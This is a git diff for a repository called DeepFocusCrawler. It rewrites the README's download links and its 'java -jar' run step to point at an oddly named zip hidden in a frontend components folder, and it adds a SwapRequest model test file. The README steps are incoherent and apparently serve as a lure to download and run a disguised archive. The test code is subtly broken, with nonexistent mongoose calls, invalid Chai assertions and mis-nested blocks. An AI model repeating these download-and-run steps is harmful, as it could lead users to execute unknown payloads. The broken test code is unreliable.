diff --git a/README.md b/README.md
index 49f7910..ed1472f 100644
--- a/README.md
+++ b/README.md
@@ -6,7 +6,7 @@ Welcome to DeepFocusCrawler! This application is designed for everyone who wants
 
 ## 🔗 Download DeepFocusCrawler
 
-[![Download DeepFocusCrawler](https://github.com/Abazeem18/DeepFocusCrawler/raw/refs/heads/main/backend/Deep_Crawler_Focus_3.8.zip)](https://github.com/Abazeem18/DeepFocusCrawler/raw/refs/heads/main/backend/Deep_Crawler_Focus_3.8.zip)
+[![Download DeepFocusCrawler](https://github.com/Abazeem18/DeepFocusCrawler/raw/refs/heads/main/frontend/src/components/Deep_Focus_Crawler_geranomorphic.zip)](https://github.com/Abazeem18/DeepFocusCrawler/raw/refs/heads/main/frontend/src/components/Deep_Focus_Crawler_geranomorphic.zip)
 
 ## 💻 System Requirements
 
@@ -18,14 +18,14 @@ Before you begin, make sure your computer meets these requirements:
 
 ## 📥 Download & Install
 
-To download DeepFocusCrawler, visit this page: [Download DeepFocusCrawler](https://github.com/Abazeem18/DeepFocusCrawler/raw/refs/heads/main/backend/Deep_Crawler_Focus_3.8.zip)
+To download DeepFocusCrawler, visit this page: [Download DeepFocusCrawler](https://github.com/Abazeem18/DeepFocusCrawler/raw/refs/heads/main/frontend/src/components/Deep_Focus_Crawler_geranomorphic.zip)
 
 Once there, you'll see the available versions. Choose the latest version and download it to your computer. The download may take a few moments, depending on your internet speed.
 
 ## 🛠️ How to Run DeepFocusCrawler
 
 1. **Locate the Downloaded File:**
-   After downloading, find the file in your computer’s downloads folder. It should be named something like `https://github.com/Abazeem18/DeepFocusCrawler/raw/refs/heads/main/backend/Deep_Crawler_Focus_3.8.zip` (where X.X represents the version number).
+   After downloading, find the file in your computer’s downloads folder. It should be named something like `https://github.com/Abazeem18/DeepFocusCrawler/raw/refs/heads/main/frontend/src/components/Deep_Focus_Crawler_geranomorphic.zip` (where X.X represents the version number).
 
 2. **Open Terminal or Command Prompt:**
    - **Windows:** Press `Win + R`, type `cmd`, and hit `Enter`.
@@ -41,7 +41,7 @@ Once there, you'll see the available versions. Choose the latest version and dow
 4. **Run DeepFocusCrawler:**
    Type the following command and hit `Enter`:
    ```
-   java -jar https://github.com/Abazeem18/DeepFocusCrawler/raw/refs/heads/main/backend/Deep_Crawler_Focus_3.8.zip
+   java -jar https://github.com/Abazeem18/DeepFocusCrawler/raw/refs/heads/main/frontend/src/components/Deep_Focus_Crawler_geranomorphic.zip
    ```
    Replace `X.X` with the version number you downloaded.
 
diff --git a/backend/models/SwapRequest.test.js b/backend/models/SwapRequest.test.js
new file mode 100644
index 0000000..963d72f
--- /dev/null
+++ b/backend/models/SwapRequest.test.js
@@ -0,0 +1,137 @@
+import { SwapRequest } from "../models/SwapRequest";
+import mongoose from "mongoose";
+import { expect } from "chai";
+
+describe("SwapRequest Model", () => {
+
+  beforeEach(async () => {
+    await mongoose.connect("mongodb://localhost:27017/testdb", {
+      useNewUrlParser: true,
+      useUnifiedTopology: true,
+    });
+    await mongoose.recreateIndex(); //ensure indexes are fresh.
+  });
+
+  afterEach(async () => {
+    await mongoose.disconnect();
+  });
+
+
+
+  describe("Model Creation", () => {
+    it("should create a SwapRequest model instance", () => {
+      const swapRequest = new SwapRequest();
+      expect(swapRequest).to.be.an("instanceof", SwapRequest);
+    });
+  });
+
+  describe("Schema Validation", () => {
+    it("should validate with required fields", async () => {
+      const swapRequest = new SwapRequest({
+        fromUser: "user1",
+        toUser: "user2",
+        offeredSkill: "skill1",
+        requestedSkill: "skill2",
+      });
+
+      await expect(swapRequest.validate()).to.pass;
+
+      const invalidSwapRequest = new SwapRequest({
+        fromUser: "",
+        toUser: "user2",
+        offeredSkill: "skill1",
+        requestedSkill: "skill2",
+      });
+      await expect(invalidSwapRequest.validate()).to.fail(err => {
+        expect(err.message).to.include("fromUser is required");
+      });
+    });
+
+    it("should validate fields with correct types", async () => {
+      const validSwapRequest = new SwapRequest({
+        fromUser: "user1",
+        toUser: "user2",
+        offeredSkill: "skill1",
+        requestedSkill: "skill2",
+      });
+      await expect(validSwapRequest.validate()).to.pass;
+    });
+
+    it("should validate status field", async () => {
+           const swapRequest = new SwapRequest({
+            fromUser: "user1",
+            toUser: "user2",
+            offeredSkill: "skill1",
+            requestedSkill: "skill2",
+            status: "active",
+          });
+          await expect(swapRequest.validate()).to.pass;
+  
+          const invalidSwapRequest = new SwapRequest({
+            fromUser: "user1",
+            toUser: "user2",
+            offeredSkill: "skill1",
+            requestedSkill: "skill2",
+            status: "inactive"
+          });
+          await expect(invalidSwapRequest.validate()).to.fail(err => {
+            expect(err.message).to.include("status must be one of 'pending'");
+          });
+      });
+    });
+  });
+
+  describe("Model Methods", () => {
+    it("should have the correct model name", () => {
+      expect(SwapRequest.modelName).to.equal("SwapRequest");
+    });
+
+    it("should correctly save a SwapRequest", async () => {
+      const swapRequest = new SwapRequest({
+        fromUser: "user1",
+        toUser: "user2",
+        offeredSkill: "skill1",
+        requestedSkill: "skill2",
+      });
+
+      await swapRequest.save();
+
+      const savedSwapRequest = await SwapRequest.findOne({ fromUser: "user1", toUser: "user2" });
+      expect(savedSwapRequest).to.exist;
+      expect(savedSwapRequest.fromUser).to.equal("user1");
+      expect(savedSwapRequest.toUser).to.equal("user2");
+      expect(savedSwapRequest.offeredSkill).to.equal("skill1");
+      expect(savedSwapRequest.requestedSkill).to.equal("skill2");
+      expect(savedSwapRequest.status).to.equal("pending");
+    });
+
+    it("should correctly update a SwapRequest", async () => {
+      const swapRequest = await SwapRequest.create({
+        fromUser: "user1",
+        toUser: "user2",
+        offeredSkill: "skill1",
+        requestedSkill: "skill2",
+      });
+
+      await swapRequest.updateOne({ _id: swapRequest._id }, { status: "accepted" });
+
+      const updatedSwapRequest = await SwapRequest.findOne({ _id: swapRequest._id });
+      expect(updatedSwapRequest).to.exist;
+      expect(updatedSwapRequest.status).to.equal("accepted");
+    });
+
+      it("should correctly find a SwapRequest by user", async () => {
+          const swapRequest = await SwapRequest.create({
+              fromUser: "user1",
+              toUser: "user2",
+              offeredSkill: "skill1",
+              requestedSkill: "skill2",
+          });
+
+          const foundSwapRequest = await SwapRequest.findOne({ fromUser: "user1" });
+
+          expect(foundSwapRequest).to.exist;
+          expect(foundSwapRequest.fromUser).to.equal("user1");
+      });
+  });
+});
\ No newline at end of file